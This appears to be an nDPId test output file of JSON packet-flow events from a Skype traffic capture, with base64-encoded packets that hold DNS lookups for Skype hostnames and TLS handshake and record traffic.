+00445{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":780174,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA74iYAAEARFRjAqAEiwKgBAcLIADUAJ6plKNsBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00452{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":919482,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/9KsAAEARAo\/AqAEiwKgBAfWbADUAK9VUuF8BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAABAAE="} +00451{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":919568,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/1uEAAEARIFnAqAEiwKgBAebpADUAK335A20BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAAcAAE="} +00466{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":919674,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLHJUAAEAR2pnAqAEiwKgBAeD4ADUANz9NJ5kBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAABAAE="} +00466{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970636,"pkt_ts_usec":919859,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLIxUAAEAR1BnAqAEiwKgBAdB8ADUAN25j7f4BAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAAcAAE="} +00690{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":84621,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtI\/5AAEAGGs\/AqAEiF84hpsgfAbv4Tz2YGDU8XoAYECwnqwAAAQEICj4xkDXsPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":216,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1431970637197,"flow_last_seen":0,"flow_tot_l4_data_len":646,"flow_min_l4_data_len":646,"flow_max_l4_data_len":646,"flow_avg_l4_data_len":646,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"17.172.100.36","src_port":51227,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01275{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":197675,"pkt_caplen":680,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":680,"pkt_l4_len":646,"pkt":"0NQSxnP1PBXCt3IOCABFAAKaWZdAAEAGpyzAqAEiEaxkJMgbAbtPoUTcdzmC\/1AY\/\/+3vwAAFwMDAm2oQWYRyP748hMxFdAlY7EpLrN6kLughwvFpazZiqEW\/OZDc+EJPuHs5foI32Mtbk82IkMifsIYZr\/HgiWjp+qREkYwozIjDKA5RZr7pIvzcneHU5GjcfdA5I77GYqEliHbS2doHbevDGi5Wa7sLiRbXMA02aUJUp\/5WaIoIiwbOjRHFDMfCP5Z0\/J4lyMuhvKCpFQAO\/2wsDj\/MPbX5tlaL2EUm+IAfj6k00l5GWxpD7mtGhNIVcb8QkIXInLtd3tVvIfRqABdUPRdVk\/Oh8BYWO2hK2Jb5ytXLiGpVvyovjVj1ZXrjmeVOKzHYpnRvZZVE8aFr66jGGaGqwDLQKMakQCl3AK9obxhTX7luk8wNkyeGegCmXzvS4PBGTePDaeLJKSaHfRaaHCxBYP0IhnBKAC4N2jJ7aD0fuZCHAZyigwXRHRquVVgktLhkQLT0TrYI3l3qtmwkgNW3jlZmJ4UQcSOvOidllHsQvfEINIQuYffVEsqMVhXTG+aIO0hcL5jGoK\/2RywKg2\/ZDMiN+K9iSmWjEbwWSaN\/mkdtJTUxH4QcdrB9ORkHB0HW3rfKB\/TAafOnsKWi\/W1MbdmydveZGvrEmiyhj4NuiYhmxDSjj3\/4SRSy9HQ4Wxnu49AdVNnLycIUgrlledmcfb74m5EfYew5ExynB0kOvO\/AHcy3+wEfzmIbZkColXfZHhSlTlGEbBImUFDQWKlAJ0uaFUTw3Rq+PzDdQpZCLYV+ZYFyGNzuzH6vpabtmD1cwx0eABQdDvMezqNrzbAEH58b+AaG+h547E5oMr20bNoOdWJxGzZ\/kyAHLEf4gPOQ8A="} +01201{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":197747,"pkt_caplen":622,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":622,"pkt_l4_len":588,"pkt":"0NQSxnP1PBXCt3IOCABFAAJg3uZAAEAGIhfAqAEiEaxkJMgbAbtPoUdOdzmC\/1AY\/\/82dAAAFwMDAjP0A3EPvtkTeRb8cFQp6pny5RM9Gnq4g+tevwtE\/WP22C8Uri1KdT3EBD+yCpMq\/b87CkoZm1+57ReFpRxcXXNbv8fmUZp4LfXGYAKK\/pxeeUvalXmICe2lECt2CjjUSRyUKdAGFZrNvCY2\/wZUpBfyYa\/+rlJcFwW3DXHOhnHdn4QEUo73+QW6pHlQGunmF0QmCQanElT8N\/bMb3RJnCc61l4RycIlVAF6Ksg5HA\/PKrYlV2XNEp7ur7RV1bzdvrRDp05wQjE83yF2+\/Zqwt4MRXssBShrwnb3hEuuMcZgQoFkEhY58EVGP3Ljm+RQgt\/RdUWzV6sjs4TAaqiNuIwUaqv+AfsmnLhujtd9Hc6+ZcJ9yMianW3O6MVxJ70OU7QnQRAi9B2JbRVg59CxbKPbN0bnPbMKE5N39MjxBkYm0yiOiyiHl0P3Xm8ltEin3BwY+GDkHhnXcwEeooC2S1\/4ktGCaZHkn\/k2Szc8GZnaGTWNnahHoy\/YkjOOXbjpA1O9h79pJ7aYrlRvBOm3f1m9CJ9BUs\/FU4sHmdZR0BiRQukoVRFc42QMlL7+4m6\/BxZQimsAq\/phHH03+2+AKsxWWcE29ndM6W1tas2nE7vfTX1S5m\/YyEFVMUyOo5pk7CkRxQvvBfhIGFzzhSjuVThl8iSAOkaF9xkVKPHRO\/JJKo90DAl86kKSFj0IAulnEwTwaRdIuubGGi2tTWanj85dryrFg8Q4mVv2pDFEoHGcuAXqGw=="} +00428{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":339430,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAo8lZAAO8GYd4RrGQkwKgBIgG7yBt3OYL\/T6FHTlAQnYx\/rgAAAAAAAAAA"} +00429{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":344013,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAo8ldAAO8GYd0RrGQkwKgBIgG7yBt3OYL\/T6FJhlAQ\/\/8bAwAAAAAAAAAA"} +00874{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":355851,"pkt_caplen":387,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":387,"pkt_l4_len":353,"pkt":"PBXCt3IO0NQSxnP1CABFAAF18llAAO8GYI4RrGQkwKgBIgG7yBt3OYL\/T6FJhlAY\/\/+3KQAAFwMDAUhlrjIgI5ujMLbahDIxgTzuWGsMERw\/c9EcFddzSrNq0tunrbR9hjorRbekj7VwsMKruE0p8enmwd2GXGqwlPuCznqXaQRiUjiw5XB\/JaBgqeGbZolQGFBoSfTqqntf0SePL+kQivUk5s\/W3K7p9ZjPtNFzRjMPQawYvDlnW7G4YwvnyFPiWAweZONg0C9vzvqSat4eMiKW0bpHrgvTU8bliezFGG0JucZgOJ5jXUXXlgY4u45kJ5a5cNR2pupO0sdxJDPOC+FXTSq5YawY0\/rnNAZ2fCRooSqQy0sH856NhuglexSKrw27nNaXjDuzrQhu8QxRmW042OeS8tioePL5mE3iBOsvmVBVO47zkMzXNbMUHkzM2i\/dm39GrZO2Yt7Mf+9oDww46Lh0ydGG++J5DtxxaYqZ8iim4wyZHFVDQEdDwEKtzqL\/"} +00469{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":355855,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"PBXCt3IO0NQSxnP1CABFAABM8ltAAO8GYbURrGQkwKgBIgG7yBt3OYRMT6FJhlAY\/\/8OXgAAFwMDAB\/iYUIGS7t3BZyzRUet6iqqQJAh1B7ikTTYDPGP8wC4"} +00421{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":355951,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAos\/JAAEAGT0PAqAEiEaxkJMgbAbtPoUmGdzmETFAQ\/\/8ZtgAA"} +00420{"flow_id":23,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":355951,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoDkNAAEAG9PLAqAEiEaxkJMgbAbtPoUmGdzmEcFAQ\/\/8ZkgAA"} +01241{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":357272,"pkt_caplen":656,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":656,"pkt_l4_len":622,"pkt":"PBXCt3IO0NQSxnP1CABFAAKC8l1AAO8GX30RrGQkwKgBIgG7yBt3OYRwT6FJhlAY\/\/96nwAAFwMDAlXrPxe9x0uaIYKQvVh+ho8IJagY8uXxvg4044xdCigWS2Cmn52i7PatDGtKOVzj\/+sL9U7CkAbP04bkK33GEvpf\/f1LHWkR2DzMJKs7yr5\/UeL8WIh1FV0\/t1mWskF0OW6l3yr+YVmcGwNSoR3DJytxeXWfCSSGCVeMm5Qxqq7CgDDkqoHyLi4GCKyEUuOiponf2nWL2BffQgI1Mik4S6VgBF0t7BXhqM1dWMIC\/3xCgNzigAnlu7C51UFpZ8xG+8oYRn5q5\/nU334gEpbaP80CB3G6Jc8XMHFIyuZDQDdioAuy3SdQH0bNBysO6lLS7I1L6yVdD81KvFQXfb4WGQYBHrxzzDxgyQBFkGLsz8epwcck7q8cK2ftSQOeLk9JxMQSuxWJjVWcHytnbTlee7dHKtOXfFg\/RZrAERo73gpV9pdYAs7fR7tjhD2tUM4vmkVBNAiHc7+MEgRrJ\/9YkbYqtQsmLzcbblhB6jhNGwuSeon58ylyStAmkSIAtD\/mdbtGa20hXWujTUb4TLq8NQ4xQ7QJKFvAQ\/5Th1RfHV+zWkqnrVseKuNXX74N2gJJ3oEWZp+\/EIXSQ2by\/ncRj2C7sjFTkrzDb4hYw8bRBUwFovByk5gy38NGZlHsqWR5NRyxk4oEWGAdcYnJS7uuI+2uMH4FHNiAJ5BKxS0RcR5QAMLPk8MvB32qeKVI0siy34jOsl3nfEldEnm9FYKve4jIujR9\/p9KzvNxOrhC7Dbhq3tUegspj3yiPSyORXWfHBPQAvwqr64JTbWBl\/3Aq337FvjHk3A="} +00457{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":357276,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABC8l9AAO8GYbsRrGQkwKgBIgG7yBt3OYbKT6FJhlAY\/\/825AAAFwMDABXjRgXrmc2JQhdbcbdSXtAT8UOopd0="} +00421{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":357351,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo3GFAAEAGJtTAqAEiEaxkJMgbAbtPoUmGdzmGylAQ\/\/8XOAAA"} +00421{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":357351,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoMTJAAEAG0gPAqAEiEaxkJMgbAbtPoUmGdzmG5FAQ\/\/8XHgAA"} +00466{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":372575,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLkYQAAEARZarAqAEiwKgBAcopADUAN1kA5GsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00466{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":372648,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLLWAAAEARyc7AqAEiwKgBAcOHADUANwqgVG4BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00443{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":443973,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6+FgAAEAR\/ubAqAEiwKgBAfgaADUAJptGWcsBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00447{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970637,"pkt_ts_usec":617648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8X1tAAEAGSELAqAEinTg0HMgdnEkK2QS07hN6BYAYECn8twAAAQEICj4xkjhMX+qKABUsdMFxBVE="} +00477{"flow_id":22,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970638,"pkt_ts_usec":202278,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"0NQSxnP1PBXCt3IOCABFAABQEBNAAEAGl3bAqAEinTg0HMggAbskulh14+mZNYAYECzFJAAAAQEICj4xlG1MX+wkj\/+\/FJjGnvuHRd2oWYqGsDWb1go6xLS\/RXUyPQ=="} +01272{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970638,"pkt_ts_usec":290470,"pkt_caplen":673,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":673,"pkt_l4_len":639,"pkt":"0NQSxnP1PBXCt3IOCABFAAKTST1AAEAGt43AqAEiEaxkJMgbAbtPoUmGdzmG5FAY\/\/+4OgAAFwMDAmZTF1s+gsmwfgInEAat3GZHojo+WH+\/ATYBybM\/RXZI238s+wyKIC4zbaMMrjW7W9UmKAukIhMEtQGUciO86NnsOYaKfBE\/kFV3Bpl6N2T7tcNjoWPABlspfRm2gFZlfKh7xIEOFyXjru03ZTc1S\/IfNfCCPOyta\/kMcVDBDE\/v+GtXs3j3K4d448axpaA9RY8PD4t+8gu3RTDnoww\/CcxbExaR6YA95Hwa7JFp75kMRWoL+pLqJD\/T2fqiyfe6lOuzxVSek+7l7QpZ7E+guqM2bL64452Z\/ZXOz0+FPrbo76dKw9UEzDAhlH7+Fdn6\/rP28+D2OMYNG+7RAduc2ZYh8k2lF2idUS8nT7PDQdy+CPzvmBIuYsS7sTgdtOjyhA61OTxh3SItJD2W\/+\/vAGfajaElKwyDiPm76kZp6W0FNoXFgn+1Xt7NV3K90cIr9DTDbSeHU6pHNnlSjLlRT0YdqsJO3oJRjDUpXxSx9rjTEeBz8m8TtQXegNGmIrDxN\/MsFxXs0UroV+tekQNCtkNyyTAc6hWxX0Lv1hz3aK3FS3tTUfOT1KQFiGHAcVsr+mvPpkUCaABAnbD6Zz\/2zzEvq3zfAMFqfLMadLJErHJezAOBWD3\/VS\/xLn\/kf9HEDQveAFrmVmpdq3BjBAfUog5q\/WEtytXl4k7Sw1CPZpU5LRZhfsg6wft5DLWQFk\/BxrQWJ1oKNWBqKNLslA1E7zQT31rSlHGrXmlKZbnQq+jxyXwoIDBz7eS1030B97IkFs\/wu3OedH4XyAzLyH1+jXbnr0RBI1XKFIeWcEUaC6742bYtR6rSBw=="} +01205{"flow_id":23,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970638,"pkt_ts_usec":290531,"pkt_caplen":630,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":630,"pkt_l4_len":596,"pkt":"0NQSxnP1PBXCt3IOCABFAAJoDNFAAEAG9CTAqAEiEaxkJMgbAbtPoUvxdzmG5FAY\/\/\/JYQAAFwMDAjtWozC08Z3I\/yzUJZuw5XCZ3ZKrWdZmuvt8vspg1F+NNxWBE5xXaEGbZ4aL\/T7wDZ4UUauWbjyNyeCm\/fz3o1UpCYFzrEAenJRDt1QsfZ1TjMtGYoM+l\/DnIPHfelG4RnW1Zl7EnkjITBx5LztJsZt31tsnT4a4qEgxJGBO4YRFBtAF5stlywiRS+O2s9PV2ghPjqvjCVtf0PKAoQ9spgyQQtHIxXL2\/rMsj5VfLJXmAjFuh3yeB4CZk5qKywjep6nCgDphNibI9S6JeHvQxz4owbV8H2DMzHcod0nAiLajyJ6KhCE6+gkPT6lQ6CA5yBXEeB1H9j8+YjNFv0qZ2FR0tPRRyKnDr5Gx1qZam3DoVG1vtewY11ykH7uPTlLiTA+pTOnI\/CYq3nS4DvAyXobOyV7QYUXWmQNHGYJIhBMMIDyO6Z0fEWdJAoaZOqF8Iw6QCVHPR0RpeuoczADO822rPULWOl3Pyw24PDYGDOQ+Imw4+Au4jSiyBrf8foX45SaePz8j2osRKxWJ\/ARUp62RKm+t+LKoo667pv8Oqi6yPIhrWPzMwyYLTLJ246xQ0V9UAZ9H3wdFB5\/EfTrZBUXaDQrf62BYz0xSFLwWsa5BtXnsq4gb1oQE6MvwGRgqtygHAujF8aL+oXBjy\/UlPHgUiW5lrq5AUItMWbUWpJlzHCTkXGpypuyyx7atU50+DSlehLv6xJqCZc3C6pzGgAfmAPR1\/WyY3BcljS\/Qyplvb4LFJ9sqFXx4\/9lu"} +00689{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970638,"pkt_ts_usec":381764,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtrIhAAEAGkkTAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECwiwwAAAQEICj4xlR3sPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00427{"flow_id":23,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970638,"pkt_ts_usec":434661,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAo8mBAAO8GYdQRrGQkwKgBIgG7yBt3OYbkT6FL8VAQnZN3HwAAAAAAAAAA"} +00466{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970638,"pkt_ts_usec":471236,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLoPEAAEARVj3AqAEiwKgBAcOHADUANwqgVG4BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00467{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970638,"pkt_ts_usec":471318,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABL\/NIAAEAR+lvAqAEiwKgBAcopADUAN1kA5GsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00449{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970639,"pkt_ts_usec":515316,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABASE0AAEARruzAqAEiwKgBAdb0ADUALMTUeDABAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00449{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970639,"pkt_ts_usec":515484,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAML4AAEARxnvAqAEiwKgBAf3LADUALKDXdTsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00479{"flow_id":22,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970639,"pkt_ts_usec":595953,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"0NQSxnP1PBXCt3IOCABFAABQqSpAAEAG\/l7AqAEinTg0HMggAbskulh14+mZNYAYECy\/vAAAAQEICj4xmdVMX+wkj\/+\/FJjGnvuHRd2oWYqGsDWb1go6xLS\/RXUyPQ=="} +00454{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970639,"pkt_ts_usec":679318,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDt6kAAEARP43AqAEiwKgBAe0QADUAL\/kqxMsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} 